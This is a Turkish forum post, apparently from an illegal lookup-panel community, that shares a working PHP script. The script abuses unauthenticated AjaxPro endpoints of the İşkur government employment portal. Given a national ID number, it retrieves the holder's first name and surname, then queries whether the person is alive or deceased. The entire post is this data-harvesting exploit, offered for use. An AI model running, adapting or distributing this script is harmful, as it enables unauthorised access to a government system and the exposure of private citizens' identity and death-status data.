İşkurdan önceden loginsiz serino çekiyordum ancak fix yedi ama başka ekstradan ölüm durumu çekmek içinde kullanılabileceğini fark ettim ancak işime pek yaramayacağından dolayı publama kararı aldım.
PHP:
<?php
/*
İşkur ölüm sorgu source - sorgupanel.net
Developed By: Thanur
Illegaltoplum: @thwnrr
*/
$tc = null;
if(isset($_GET["tc"])) {
$tc = $_GET["tc"];
}
if(isset($_POST["tc"])) {
$tc = $_POST["tc"];
}
if(!isset($_POST["tc"]) && !isset($_GET["tc"])) {
echo json_encode(["error" => true, "message" => "TC Kimlik No Girilmelidir"]);
die;
}
if(strlen($tc) !== 11) {
echo json_encode(["error" => true, "message" => "TC Kimlik No 11 hane olmalıdır"]);
die;
}
function tc2AdSoyad($tc) {
/*
TC 2 Ad Soyad
Developer: thanur
usomuhamyaptim.420community.tech | sorgupanel.net | Co Owner
*/
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://esube.iskur.gov.tr/ajaxpro/Iskur.Shared.Web.Controls.Browse.IskurPersonBrowser,Iskur.Shared.ashx');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"tcKimlikNo\":\"$tc\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
$headers = array();
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Content-Type: text/plain; charset=UTF-8';
$headers[] = 'Origin: https://esube.iskur.gov.tr';
$headers[] = 'Referer: https://esube.iskur.gov.tr/Ortak/IsverenKayit.aspx';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko';
$headers[] = 'X-Ajaxpro-Method: FetchDetailsNoValidation';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error:' . curl_error($ch);
}
curl_close($ch);
$ad = explode("\"", explode("\"", explode(",", explode($tc, $result)[1])[1])[1])[0];
$soyad = explode("\"", explode("\"", explode(",", explode($tc, $result)[1])[2])[1])[0];
return ["ad" => $ad, "soyad" => $soyad];
}
// Önce ad soyad çekelim
$info = tc2AdSoyad($tc);
$ad = $info["ad"];
$soyad = $info["soyad"];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://esube.iskur.gov.tr/ajaxpro/Iskur.Shared.Web.Controls.Browse.IskurPersonBrowser,Iskur.Shared.ashx');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"tcKimlikNo\":\"$tc\",\"name\":\"$ad\",\"surname\":\"$soyad\",\"checkIsAlive\":true}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
$headers = array();
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Content-Type: text/plain; charset=UTF-8';
$headers[] = 'Origin: https://esube.iskur.gov.tr';
$headers[] = 'Referer: https://esube.iskur.gov.tr/Ortak/IsverenKayit.aspx';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko';
$headers[] = 'X-Ajaxpro-Method: FetchDetailsValidateNameAndSurname';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["error" => true, "message" => "Curl ile çekilirken hata oluştu"]);
die;
}
curl_close($ch);
if(strpos($result, "geçersiz") !== false) {
echo json_encode(["error" => true, "message" => "Geçersiz TC Kimlik No"]);
die;
}
else if(strpos($result, "Vefat") !== false) {
echo json_encode(["error" => false, "isAlive" => false]);
die;
}
else {
echo json_encode(["error" => false, "isAlive" => true]);
die;
}
?>